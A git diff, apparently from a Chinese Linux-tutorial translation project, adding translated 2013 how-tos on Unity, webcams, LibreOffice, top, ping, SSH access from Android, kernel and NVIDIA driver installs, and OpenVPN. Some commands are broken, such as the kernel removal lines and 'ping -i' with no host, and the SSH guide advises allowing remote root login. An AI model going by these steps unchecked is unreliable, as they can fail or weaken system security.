下面开始调整大小点击右上角的齿轮按钮弹出菜单条点击系统设置System Settings...),如下图。
![](http://www.liberiangeek.net/wp-content/uploads/2013/09/ubuntulockscreendisable3.png)
接下来,选择 外观Appearance
![](http://www.liberiangeek.net/wp-content/uploads/2013/09/unitylauncherubuntu.png)
最后,使用滚动条来调整(增大\减小)启动器的图标尺寸。
![](http://www.liberiangeek.net/wp-content/uploads/2013/09/unitylauncherubuntu1.png)
这个改变会被自动应用。记住如果你想要继续作用默认尺寸移动到48.
这是另一个为Ubuntu新用户的小技巧。欢迎回来掌握更多的Ubuntu小技巧。如果你是一个老手并且想要做出贡献就请在下面留言吧。
享受吧!
--------------------------------------------------------------------------------
via: http://www.liberiangeek.net/2013/09/daily-ubuntu-tips-resize-ubuntu-unity-launcher/
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
译者:[Vic___](http://blog.csdn.net/vic___) 校对:[jasminepeng](https://github.com/jasminepeng)

View File

@ -1,9 +1,9 @@
每日Ubuntu小技巧——Ubuntu中通过Cheese支持Webcom
每日Ubuntu小技巧——Ubuntu中通过Cheese支持Webcam
================================================================================
对于一些Ubuntu的新用户如果你们想在Ubuntu中使用webcam的话这里有一些信息能够帮助到你们。正如你们说知道的那样Ubuntu旨在支持绝大多数webcom而且是现成可用的。大多数webcom生产商并不为Linux系统提供驱动包括Ununtu。所以Linux开发者们必须能够尽最大努力让webcom设备在Linux内核中运行。
对于一些Ubuntu的新用户如果你们想在Ubuntu中使用webcam的话这里有一些信息能够帮助到你们。正如你们说知道的那样Ubuntu旨在支持绝大多数webcam而且是现成可用的。大多数webcam生产商并不为Linux系统提供驱动包括Ununtu。所以Linux开发者们必须能够尽最大努力让webcam设备在Linux内核中运行。
支持Linux的webcam驱动由Linux UVC项目提供[UVC][1]。该项目意图为webam提供一个万能USB支持就像一个通用USB驱动控制一些USB设备例如U盘外部USB设备和其他一些设备。
支持Linux的webcam驱动由Linux UVC项目提供[UVC][1]。该项目意图为webcam提供一个万能USB支持就像一个通用USB驱动控制一些USB设备例如U盘外部USB设备和其他一些设备。
大多数主流的USB webcam设备都可以在Linux系统下工作其中包括支持Linux UVC项目驱动的Ubuntu。如果你想为你的Ubuntu计算机购买一个webcam设备,又不确信它是否能被支持,请[核查支持UVC的webcam列表][2].

View File

@ -0,0 +1,35 @@
Ubuntu每日小技巧通过PPA升级你的LibreOffice
================================================================================
对于每一个你新安装的Ubuntu系统你都会拥有一个可以让你办公的办公工具——LibreOffice。很多人都知道微软公司的的Word、Excel、PowerPoint和Outlook但是很少有人知道LibreOffice。
LibreOffice靠来自全世界的志愿者来维护由一个慈善基金会支持。它是Linux社区的一款主要的免费办公工具。它可以安装在WindowsMac OS X和Linux等系统的计算机上。
就在5天前译注好吧这个翻译稿拖了5天了~~原文为“今天”。一个新的版本将面向公众开放了。WindowsMac OS X和Linux用户可以直接从下载页面下载最新版本了。
Ubuntu用户拥有添加LibreOffice软件仓库到自己的电脑来安装升级最新版的优势。如果你想要在最新版本可用时最快的得到它这种方法将会很有用。
最新的LibreOffice套装版本是4.1。每一个后续的版本可以立即在4.1的仓库中找到直到新的主线版本比如4.2的推出。
所以为了在Ubuntu中自动的升级请添加下面的软件仓库地址。
sudo add-apt-repository ppa:libreoffice/ppa
接着运行如下命令来升级最新的LibreOffice。
sudo apt-get update && sudo apt-get dist-upgrade
这样就好了。当你添加上面的仓库然后升级系统Ubuntu将会自动的下载安装最新的LibreOffice版本。
Windows和Mac OS X用户可以直接在程序套件中升级或者直接从网页中下载。
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/libreoffice-upgrade-ubuntu.png)
Enjoy!
--------------------------------------------------------------------------------
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsupdate-to-libreoffice-latest-in-ubuntu-via-ppa/
译者:[SCUSJS](https://github.com/scusjs) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,33 @@
解密"top"命令
================================================================================
当对服务器的性能好奇时,我第一个想到的是"top"命令。top不是最好的它不是一个长期的快照但是它提供了服务器的一个不错的时间点快照并且试着提供了告诉"现在在发生什么?"。不幸地如果你没有深入了解不同显示域的意义top的输出很容易被误解。
我不会完整解读top命令的[man page][2]当你和时间和意愿时它一直在那等着你。我想要做的是指出一些我如何得到系统的快速概况的几个要点并希望得到我接下来该怎么做的指示。top是我在故障排除时的第一站但这很少会是我唯一的一站。
[![](http://farm4.staticflickr.com/3827/10847969205_5005a709c2_o.png)][1]
top命令我第一个看的是平均负载(load average)它在右上角的屏幕上。平均负载的计算是基于统计搜集到的数量但是通常可以认为是CPU被请求工作的数量。如果你的机器有一个单核CPU那么平均负载是1就意味着机器满载的并且有足够的能力在采样时间内完成任务。同样地如果平均负载是2那对单核的CPU是超载的并需要2个可用内核才能在同样的采样时间内完成的要求的任务。随着8、16、32核的发售我会在判断平均负载的时候就要注意一下。比如我需要去检测时我会在top里按了数字"1"这会列出所有CPU核列表这样我就可以得到一个快速计数用于比较负载。
我检查的第二项是上面列出来的内容的第9列标记着"%CPU"那个。对这一列的解释是很模糊的:
> 任务所分享的上次屏幕刷新后的CPU运行时间以全部的CPU时间百分比表示。在一个真正的SMP多处理器环境中如果'Irix mode'是关闭的top会在'Solaris mode'下运行这里一个任务的cpu使用率将除以全部的CPU数量。你可以用'I'大写字母I这个交互命令触发Irix或Solaris模式。
一点也不清楚,是么?这里要记住的主要意思是,如果单个进程由于某个原因或者其他因素占用率升高,那么他很有可能会以%CPU很高的数字显示在top的第一行。
我下一个注意到的区域是"Cpu(s):"这一行,在头部信息的中间。特别地,我对%us、sy%、%id、和%wa感兴趣它们分别是用户进程、系统进程、空闲时间和CPU用于等待I/O流执行的时间比例。这个百分比应该接近于0高于5%时需要密切关注。
最后我想要看看系统up时间这显示在左上角。如果我对一台服务器有疑问并且这台服务器最近重启过这里可能会发现一些什么或许是一个守护进程没有启动。
这些检查只需要几秒。如果我只是观察我可能让top运行几分钟并观察进程、CPU和负载但是通常地我很快地进入和退出top。top是给你一个系统健康概况的那些奇妙系统管理员工具之一并允许你快速诊断潜在的问题。
--------------------------------------------------------------------------------
via: http://ostatic.com/blog/deciphering-top
译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.flickr.com/photos/51724787@N06/10847969205/
[2]:http://www.linuxmanpages.com/man1/top1.php

View File

@ -0,0 +1,68 @@
五个 ping 工具的使用实例
================================================================================
### 什么是 ping 工具###
在讲述一些关于ping工具真实直观的使用实例前先让我来介绍一下这个命令行工具及其目的。ping工具通常用来测试一台主机在互联网协议(IP)网络内的可达性。其名字源于主动声纳法——在水下创建一个脉冲声音信号(ping)并侦听周围物体的返回信号。该方法同样生动描述了ping网络工具的工作原理。ping工具对一台主机发送回应请求然后等待ICMP响应。
实践中的ping工具的一些例子
### 查询主机的IP地址 ###
有时候你需要得到某一台主机的IP地址如图一。只需要键入ping命令后面跟上要查询的主机名。
ping www.omgubuntu.com
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping1.png)
### 查询正在使用的ping工具的版本信息 ###
用 -V 选项可以用来查询你手头上ping工具的版本信息。键入下列命令显示正在使用的ping工具的版本信息。
ping -V
正如你从图二见到的我正在使用的是“ping utility,iputils-sss20101006”
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping2.png)
### 自动退出 ping ###
当你用ping 主机命令ping一台机器时ping自己无法停止你必需按下CTRL+C强行退出或者你可以用 -c (count)选项指定发送包的数量。使用-c选项当网络管理员(其实普通用户也可以)发送完指定数量的包之后无需按CTRL+Cping进程就会自动停止。
ping -c 13 127.0.0.1
上列的命令发送了13个包到我的本地主机上。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping3.png)
正如你从图三看到的我并没有按CTRL+C而ping自动退出了。
### 指定数据包之间的时间间隔 ###
你知道ping每秒钟发送一个数据包吗你喜欢快一点还是慢一点用 -i 选项能指定包之间的时间间隔。用下列命令快速发送或慢速发送包。
### 每0.13秒发送一个包 ###
ping -i 0.13
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping4.png)
### 每13秒发送一个包 ###
ping -i 13
### 结合 -i 选项和 -c 选项 ###
ping -c 13 -i 3
总共花费39秒发出13个数据包数据包的时间间隔为三秒。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping6.png)
--------------------------------------------------------------------------------
via: http://www.unixmen.com/five-examples-ping-utility/
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,65 @@
如何使用安卓设备控制你的Linux PC
================================================================================
**下面的教程会指导所有的Linux用户如何在系统上安装SSH以便通过安卓智能手机远程访问他们的电脑。**
![](http://i1-news.softpedia-static.com/images/news2/How-to-Control-Your-Linux-PC-with-an-Android-Device-396004-2.jpg)
如今我们所有人都拥有一台平板或触屏手机我们经常使用它们在深夜里看电影或电视节目听歌或者读一本好书。你可以把本文称作是“懒人教程”它是专门为那些在大晚上因为太过疲惫而懒得去开启他们电脑上的某些应用程序移动、删除复制或重命名某些文件甚至懒得去关掉PC的人准备的。
的确,已经有各种各样的远程桌面解决方案,但是许多方案费用很高,或者实现效果很糟糕,无法像预期一样运行,迫使你最终还是得去电脑上做你原本想做的事情。
在这个教程里面我们将使用一种简单、安全、高效的协议它被称为SSH (Secure Shell)很容易从默认的软件仓库中安装在Arch linx中是openssh在Ubuntu中是openssh-server
### 配置SSH服务器 ###
在安装完成后你需要为SSH服务器进行基本配置。为此你需要使用文本编辑器编辑/etc/ssh/sshd_config这个文件。
1.在文件尾部添加下面一行下面的yourusername使用你的Linux机器上存在的用户名代替
AllowUsers yourusername
2.取消"#PermitRootLogin"这行注释,把"no"替换成"yes"译注下面的选项修改和是否允许ssh登录无关只是允许root直接登录一般而言并不建议如下这样的远程root直接登录。
PermitRootLogin no
3.为了安全起见你需要修改SSH 连接默认的22端口到一个更大编号的端口譬如在我们的例子中是55441
但不要使用55441这是我举个列子可以找另一个四位或者五位数字。因此取消注释并编辑"#Port 22"如下译注你可以选择任何一个大于1024并小于65535的端口只要他没有被别的程序占用为什么不试试你的幸运数字呢
Port 55441
### 开启SSH服务器###
在Ubuntu上SSH服务通过下面的命令启动
sudo /etc/init.d/ssh start
当你每次修改上述配置文件时,都需要通过下面的命令重启:
sudo /etc/init.d/ssh restart
在Arch Linux上你可以使用下面的命令启动SSH服务
sudo systemctl start sshd
### 配置安卓设备上的SSH客户端###
JuiceSSH似乎是安卓上最好的SSH客户端之一而且是免费的。同时如果你认为它的功能比较简单可以花费少量的钱来得到更多高级的特性譬如亚马逊 AWS/EC2 集成,团队协作,以及更多其它的特性。
一旦软件安装完毕开启它然后你会要求输入一个加密的密码以保证连接的安全。这个密码由AES-256进行加密因此除非你的设备被偷否则没有人能够获取它们。
![](http://i1-news.softpedia-static.com/images/extra/LINUX/large/sshlinuxandroid-large_001.jpg)
现在添加一个新连接为你的电脑选择名称、IP地址上面设定的端口号以及一个需要被创建的身份。
![](http://i1-news.softpedia-static.com/images/extra/LINUX/large/sshlinuxandroid-large_002.jpg)
![](http://i1-news.softpedia-static.com/images/extra/LINUX/large/sshlinuxandroid-large_003.jpg)
这就是我的Arch Linux机器这是通过我的安卓平板上的JuiceSSH客户端访问到的界面。如果在这个教程中你遇到问题请在下面进行评论。
--------------------------------------------------------------------------------
via: http://news.softpedia.com/news/How-to-Control-Your-Linux-PC-with-an-Android-Device-396004.shtml
译者:[KayGuoWhu](https://github.com/KayGuoWhu) 校对:[Caroline](https://github.com/carolinewuyan)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -1,13 +1,13 @@
如何在Ubuntu 13.10上安装Linux内核 3.12
================================================================================
**Ubuntu 13.10 用户不必再羡慕地看着新的Linux内核发布他们也可以相对轻松地更新他们的系统。**
**Ubuntu 13.10 的用户不必再用羡慕的眼神看着新版Linux内核发布他们也可以相对轻松地更新他们的系统。**
Canonical公司一贯的做法是整个开发周期中始终使用一个Linux内核。例如Ubuntu 13.10始终基于Linux内核 3.11但现在已经推出一个新的稳定的Linux内核3.12。
Canonical公司一贯的做法是在整个开发周期中始终使用一个Linux内核。例如Ubuntu 13.10始终基于Linux内核 3.11但现在已经推出一个新的稳定的Linux内核3.12。
Ubuntu用户只有等到14.04 LTS发布以后才能得到一个较新版本的Linux内核但到那之前他们也可以选择安装新的版本。
不过我们必须从一开始就提醒你。Canonical不建议你更新官方渠道以外的比其他版本的Linux内核。这不是一个完全安全的过程你以后可能会遇到问题甚至系统故障。但另一方面你的系统性能可能会得到提升。
不过我们必须从一开始就提醒你。Canonical不建议你更新官方渠道以外的Linux内核版本。这不是一个完全安全的过程,你以后可能会遇到问题,甚至系统故障。但另一方面,你的系统性能可能会得到提升。
你将要下载的内核来自Canonical公司这意味着它已经在.deb格式。你不需要再自己编译。打开一个终端导航到Downloads文件夹输入以下命令
@ -15,14 +15,14 @@ Ubuntu用户只有等到14.04 LTS发布以后才能得到一个较新版本
wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.12-saucy/linux-headers-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb
如果你有一个32位的操作系统你也可以下载32位版本。可见只需替换链接中的64bit为32bit即可[here][1].
如果你有一个32位的操作系统你也可以下载32位版本。可见只需替换链接中的64bit为32bit即可[点此下载][1].
现在,你将像运行任何其它程序一样运行这些.deb文件。在你下载软件包的同一个终端输入下面的命令你需要root权限才能正常运行
sudo dpkg -i linux-image-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb
sudo dpkg -i linux-headers-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb
安装完后你需要重启系统。瞧新的Linux内核就在那里了。好消息旧的内核仍然存在如果你要删除3.12版的内核,只需使用众所周知命令。
此过程结束后你需要重启系统。瞧新版本的Linux内核更新成功。好消息是旧版本内核仍然存在如果你要删除3.12版的内核,只需使用众所周知命令。
sudo apt-get purge linux-image-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb
sudo apt-get linux-headers-3.12.0-031200-generic_3.12.0-031200.201311031935_amd64.deb
@ -34,8 +34,8 @@ Ubuntu用户只有等到14.04 LTS发布以后才能得到一个较新版本
来源于: http://news.softpedia.com/news/How-to-Install-Linux-Kerrnel-3-12-in-Ubuntu-13-10-397013.shtml
译者:[coolpigs](https://github.com/coolpigs) 校对:[校对者ID](https://github.com/校对者ID)
译者:[coolpigs](https://github.com/coolpigs) 校对:[Caroline](https://github.com/carolinewuyan)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.12-saucy/
[1]:http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.12-saucy/

View File

@ -0,0 +1,54 @@
如何在Ubuntu13.10中安装最新版的NVIDIA 331.20驱动
===
**有时候安装新版本的NVIDIA驱动会遇到一些麻烦尤其是当你不习惯Linux系统中的运作方式时。**
![](http://i1-news.softpedia-static.com/images/news2/How-to-Install-the-Latest-NVIDIA-331-20-Drivers-in-Ubuntu-13-10-399182-2.jpg)
这时候这篇教程就能起到作用了它能帮助普通用户从最新版的NVIDIA驱动331.20中获益。
在Ubuntu系统中有两种方法安装NVIDIA驱动一种是简单方法另一种是困难方法。简单方法也是最为直截了当的但是需要你能够连接网络。这种方法也会把你带入PPA的美妙世界中去。
Ubuntu 13.10像它的前辈们一样有一个很大的软件仓库可供使用但是Canonical的开发者们由于种种考虑并不上传最新版的驱动。最重要的是他们不会冒险去上传一款未被证明其稳定性的软件。
幸运的是我们有PPA可供使用PPA中有最新版的驱动程序可供使用而且里面的驱动会在官方放出新驱动一两天后就添加进去。只需在终端中敲入一下命令即可当然你需要拥有root权限
sudo add-apt-repository ppa:xorg-edgers/ppa
sudo apt-get update
sudo apt-get install nvidia-331
假如你已经安装了一个旧版本的驱动,你需要用**sudo apt-get dist-upgrade**命令替换上面命令中的最后一条命令。
完成这些步骤之后重启你的电脑新驱动就安装好了。在下一次NVIDIA更新驱动时你只需更新系统就可以无需添加PPA。
第二种方法有点复杂但是你可以不用联网你需要先把驱动下载下来在安装的时候不再需要联网。我们将使用64位版本的驱动最为例子讲解。
你必须按Ctrl+Alt+F1组合键进入真正的终端译注原文中为虚拟终端但实际上按这个组合键进入的是真正的终端然后使用用户名和密码登录。接下俩你需要用cd命令进入你放置驱动的位置例如Downloads目录然后输入以下命令
sudo service lightdm stop
sudo chmod a+x NVIDIA-Linux-x86_64-331.20.run
sudo ./NVIDIA-Linux-x86_64-331.20.run
sudo reboot
这样就搞定了。无论你选择使用什么方法享受最新版的NVIDIA驱动吧。
--------------------------------------------------------------------------------
via: http://news.softpedia.com/news/How-to-Install-the-Latest-NVIDIA-331-20-Drivers-in-Ubuntu-13-10-399182.shtml
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Caroline](https://github.com/carolinewuyan)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:
[2]:
[3]:
[4]:
[5]:
[6]:
[7]:
[8]:
[9]:
[10]:
[11]:
[12]:

View File

@ -0,0 +1,110 @@
Linux上如何通过 OpenVPN 建立安全的远程连接【上】
================================================================================
一直以来我们在互联网上传输信息时都谨慎地为这些信息加密以防内容泄露出去特别是在政府的干预下为网络上每个字节都进行加密已经变得空前重要了。在这种情况下OpenVPN 是保障网络信息安全的首选。今天我们就来学习一下如何架设 OpenVPN使你可以在任何场所都能安全地访问家里的服务器。
VPN 小贴士:很多商业的 VPN 根本不值它们的售价,它们的安全性只比通过 SSL 保护的网站高一点点,原因是它们信任所有客户端。一个真正意义上的 VPN 用于在非可信网络上连接两个可信的终端。用户不能随便找一台 PC 机就能登录进 VPN因为你的 VPN 如果能被一台受到病毒感染的 PC 登录进来,不管它们建立的连接有多么安全,都不是一件好事情。所以你必须在你的客户端和服务器端都要好好地配置一下 VPN 服务。
### OpenVPN 快速入门 ###
你需要两台不同子网下的计算机,比如同一网络内一台使用网线的 PC 和一台使用无线 的 PC或者是 VitualBox 虚拟机上的多台Linux客户机并且你要知道它们的 IP 地址。这里分别为这两台计算机命名为“Studio”和“Shop”都给它们装上 OpenVPN。OpenVPN 支持大多数 Linux 发行版,所以你只要用你手头的安装包管理软件就行。本文的包管理器是 Debian、Ubuntu 以及它们的衍生版中使用的 apt-get下面安装 OpenVPN
$ sudo apt-get install openvpn openvpn-blacklist
上面的步骤安装了 OpenVPN 服务器和一个用于检查外泄密钥黑名单的程序。请务必安装这个黑名单检查器,因为有一次 Debian 发布了一个[有漏洞的 OpenSSL 软件][1],这个软件里的随机码生成器会产生不可信任的密钥 —— 产生的这些密钥不是真正的随机数它们可以被预测到。这件事发生在2008年当时所有使用了这个软件的人都需要替换掉他们的弱密钥。即使5年过去了我们还是建议使用这个黑名单检查器。
现在让我们测试下,先为两台 PC 创建一个不加密的通道。首先互 ping 一下确保它们能连通,然后让 OpenVPN 处于关闭状态(我们会在后面手动启动它):
$ ps ax|grep openvpn
如果 openvpn 这个后台进程存在,那就 kill 了它。这里假设“Studio”这台 PC 的 IP 是192.168.1.125“Shop”的 IP 是192.168.2.125。
现在在“Studio”端开启一个未加密的连接到“Shop”端
$ sudo openvpn --remote 192.168.2.125 --dev tun0 --ifconfig 10.0.0.1 10.0.0.2
然后再开一个从“Shop”到“Studio”的连接
$ sudo openvpn --remote 192.168.1.125 --dev tun0 --ifconfig 10.0.0.2 10.0.0.1
连接成功的话你会看到类似下面的信息:
Wed Oct 16 2013 ******* WARNING *******: all encryption and authentication
features disabled -- all data will be tunnelled as cleartext
Wed Oct 16 2013 TUN/TAP device tun0 opened
Wed Oct 16 2013 do_ifconfig, tt->ipv6=0, tt->did_ifconfig_ipv6_setup=0
Wed Oct 16 2013 /sbin/ifconfig tun0 10.0.0.1 pointopoint 10.0.0.2 mtu 1500
Wed Oct 16 2013 UDPv4 link local (bound): [undef]
Wed Oct 16 2013 UDPv4 link remote: [AF_INET]192.168.2.125:1194
Wed Oct 16 2013 Peer Connection Initiated with [AF_INET]192.168.2.125:1194
Wed Oct 16 2013 Initialization Sequence Completed
看到“**Initialization Sequence Completed**”这句话时,说明你的操作成功了。这时你应该能够 ping 通两个隧道的 IPping 10.0.0.1 和 ping 10.0.0.2。当你建立隧道的时候,你无需在意你所在的网络,你可以为你的隧道指定任何 IP 地址。关闭隧道请按 Ctrl+c。
现在你可以利用这个隧道打开一个 SSH 会话了。图1显示了通过 VPN 隧道登录 SSH 的例子,这个图也显示了有趣的 Message of the DayMOTD图片图片来自于博客《[在你的 Linux 系统上放一张奶牛的 MOTD 图片][2]》:
$ ssh carla@10.0.0.2
![](http://www.linux.com/images/stories/41373/SSH-OpenVPN.jpg)
*图1成功通过 VPN 隧道建立 SSH 会话,并显示了有趣的 MOTD 图片*
哼哼哈嘿,它运行得不错!
### 加密后的 VPN 隧道 ###
目前为止我们玩得还不赖但是没有使用加密技术一切都毫无意义所以我们需要建立一个简单的静态密钥配置文件。不像公钥基础设施PKI有着根认证中心、可撤消认证等安全措施我们的加密机制没有那么强悍但是对于仅仅想远程到家里的用户来说已经足够了。OpenVPN 有提供创建静态密钥的命令,我们可以建立目录存储密钥、创建密钥,并将文件设为对属主只读模式:
$ sudo mkdir /etc/openvpn/keys/
$ sudo openvpn --genkey --secret /etc/openvpn/keys/static.key
$ sudo chmod 0400 /etc/openvpn/keys/static.key
这是个明文密钥你可以利用文本编辑器打开密钥文件读取到它文件名可以随意不一定非得叫“static.key”。将这个密钥拷到需要通信的两台电脑上呵呵这是对称加密而不是公钥加密。
现在我们要在两台电脑上完成基本的配置。(在非类 Ubuntu 的系统中OpenVPN 没有提供默认的配置文件,但是在 /usr/share/doc/openvpn/ 目录下会为你提供一个配置文件的样本。在我的实验中“Studio”是服务器端“Shop”是一台笔记本电脑用于登录到“Studio”中。我的服务器端的配置文件是 /etc/openvpn/studio.conf它的配置信息如下
# config for Studio
dev tun
ifconfig 10.0.0.1 10.0.0.2
secret /etc/openvpn/keys/static.key
将配置文件设为只有拥有者有读写权限:
$ sudo chmod 0600 /etc/openvpn/studio.conf
客户端的配置文件内容类似,只是多了服务器端的 IP 地址:
# config for Shop
dev tun
ifconfig 10.0.0.2 10.0.0.1
secret /etc/openvpn/keys/static.key
remote 192.168.1.125
注意 ifconfig 那行的 IP 地址的顺序,本地的 IP 要放在远程的 IP 之前。现在启动服务器端的 OpenVPN指定服务器端配置文件客户端操作雷同
$ sudo openvpn /etc/openvpn/studio.conf
$ sudo openvpn /etc/openvpn/shop.conf
成功建立连接后,你还会看到“**Initialization Sequence Completed**”这句话,但你不会再看到这句 WARNING这句话会在你建立了未加密的隧道时出现
******* WARNING *******: all encryption and authentication features disabled
### 防火墙和动态 IP 地址 ###
OpenVPN 本身是比较容易配置的,最麻烦的是处理防火墙和动态 IP 地址。防火墙种类众多,对于如何配置防火墙不拦截你的隧道,我把这个话题当作家庭作业留给你自己解决:P。OpenVPN 的端口是1194你可以在防火墙上设置一个转发规则用于将消息转发到你的目标服务器。
接下来处理另一件麻烦事:动态 IP 地址。[Dyn.com][3]可以提供一个廉价的方法,为你管理 ISP 分配给你的动态 IP或者你也可以向你的 ISP 支付一笔费用,从而得到一个静态 IP。
至此,你可以宣告工作完成了,接下来的任务就是手动开启服务器端的 OpenVPN让它一直运行在那里等待你的登录。你可以将你的笔记本拿到外面并随时随地随心所欲地连接到服务器。然而关于 OpenVPN 的操作,我还有一些重要的知识点要讲,比如如何为 OpenVPN 设置开机启动,如何利用 Network Manager 自动建立连接,以及这篇 OpenVPN 教程中最重要的一块:如何访问你的远程服务器上的资源。请看下一篇。
--------------------------------------------------------------------------------
via: http://www.linux.com/learn/tutorials/743590-secure-remote-networking-with-openvpn-on-linux
译者:[bazz2](https://github.com/bazz2) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.debian.org/security/2008/dsa-1571
[2]:http://www.linux.com/learn/tutorials/741573-put-a-talking-cow-in-your-linux-message-of-the-day
[3]:http://dyn.com/dns/

View File

@ -0,0 +1,94 @@
Linux上如何通过 OpenVPN 建立安全的远程连接【下】
================================================================================
欢迎你们回来继续看我们的 OpenVPN 系列的下篇。[上次][1]我们讲到如何让远端计算机(如笔记本电脑)[通过简单的加密隧道][1]登录到家里的服务器。今天我们接着讲进阶部分:比如设置 OpenVPN 开机启动,省得我们每次重启服务器的时候都要手动开启 OpenVPN 服务;比如使用 Network Manager 简化访问到远程服务器的过程。
### 整合到 Network Manager ###
Network Manager 是一个不错的 OpenVPN 客户端;你只需要安装 network-manager-openvpn 这个插件。我们继续[上篇][1]使用的配置。打开 Network Manager 配置界面,进入“新建 VPN 连接”的窗口。这个界面布局在 KDE 和 GNOME 下面看起来有点不一样,但是大体的信息是一样的。开始的时候你需要选择 OpenVPN 作为你的 VPN 连接类型就像图1所示如果你没看到 OpenVPN 的选项说明你没有安装好插件。图1是一张 GNOME 下面的图片。)
![](http://www.linux.com/images/stories/41373/figu-1-openvpn-nm.jpg)
*图1在 Network Manager 上新建 OpenVPN 客户端 *
图2显示了配置主界面。从上到下分别为
- 连接名,随便取一个。
- 远程服务器的网关。
- 下拉菜单选择静态密钥Static Key
- 然后通过文件浏览器找到静态密钥文件。
- 这个不是方向性的密钥,所以 Key Direction 这里设为 None。
- 远程 IP 和 本地 IP 是我们在上一部分已经设置好的虚拟 OpenVPN 地址,可分别通过 /etc/openvpn/studio.conf 和 /etc/openvpn/shop.conf 文件获得。
- 我们无需设置密码所以“Show passwords”复选框为空。
- 这个VPN连接是“所有人都可用”还是只有你可用随你喜欢。
![](http://www.linux.com/images/stories/41373/fig-2-openvpn-nm-1.jpg)
*图2Network Manager 配置 OpenVPN 客户端主界面*
保存然后就可以使用 Network Manager 建立连接了。So easy妈妈再也不用担心我的学习了看见图3了么你现在只需点击一下高亮的按钮就可以连接到你的家庭服务器或从你的家庭服务器中断开连接。
![](http://www.linux.com/images/stories/41373/fig-3-openvpn-nm-3.jpg)
### OpenVPN 开机启动 ###
手动开启 OpenVPN 很简单,但是你也许想要更简单,让它能够在服务器重启的时候跟着自动启动。在 Debian/Ubuntu 以及绝大部分发行版中,当你安装完 OpenVPN 的时候就被设置为开机启动的。所以你需要重启系统,或者按下面的方法启动后台进程:
$ sudo /etc/init.d/openvpn start
$ sudo service openvpn start
第一个命令是比较老的启动方法第二个命令使用了“service”命令。“service”命令第一次出现在 Red Hat 发行版中,如果你的发行版中没有安装这个命令,你需要从你的软件源里面去找到它。
Ubuntu 使用 Upstart 管理服务进程Debain 使用的老的 SysV而 Fedora 使用“systemd”。如果你在 /etc/openvpn 目录下配置了多个 OpenVPN 的服务你可以通过“systemd”的命令启动你要的服务
# systemctl start openvpn@studio.service
这里的“studio.service”与我们在上篇讲过的例子中的 /etc/openvpn/studio.conf 配置的服务相对应。用这些方法启动的后台进程,在系统重启后会失效,所以这些方法都和上篇讲的启动方式一样,仅能使 OpenVPN 运行一次。你可以将启动 OpenVPN 进程的任务交给 chkconfig
# service openvpn start
# chkconfig openvpn on
上面列出的是启动 OpenVPN 后台进程最常见的方式,这个命令启动了一整个进程,而不是对 /etc/openvpn/下面的所有 .conf 配置文件都维护一个进程。systemd 支持chkconfig 以及 service 命令,所以上面两条命令能够正常工作。然而使用 systemd 的发行版非常多,如果你的工作环境和我们的不一样,请通过发表评论的方式通知我们。
### 强化你的连接 ###
OpenVPN 的健壮性足够维持一条持久的连接,即使服务宕掉。而你可以令这个连接变得更加稳定,只需要在服务器端和客户端的 .conf 文件内添加下面两条属性:
persist-tun
persist-key
这两条属性对于那些笔记本电脑用户来说非常有用,他们的电脑会因为电源保护或需要移来移去而经常断开 OpenVPN 的连接。
### 现在,该做些什么? ###
你已经完成了所有设置,并且你的服务工作正常,你接下来能用这个干点什么?如果你以前一直用 OpenSSH 来远程你的服务器,你会有这样的思维定势:你可以利用 OpenVPN 登录到远程机器,然后跑上面的应用。你要是那样做,就太浪费 OpenVPN 了。你可以将 OpenVPN 想像成是一条虚拟的以太网电缆接到你的服务器上或者是你的局域网内,这条电缆还包着厚厚的加密保护。你可以在它提供的隧道上跑任何加密的或不加密的服务,并且只需要在防火墙上开一个端口。
所以你可以利用 OpenVPN 隧道来建立 SSH 连接,然后远程到服务器,然后在服务器上跑应用。你可以访问到网络资源,比如文件共享和 Web 应用。你可以强制让你的电脑通过 VPN 隧道访问到网络,但我认为你会想要同时能够使用本地网络和 VPN 网络的。
所以,在你的笔记本上你可以上网冲浪,使用 SSH做你想做的任何事上你想上的**任何**网络。当你想利用 OpenVPN 隧道做一些事情时,你只需要打开它,然后输入 IP 地址:
$ ssh carla@10.0.0.1
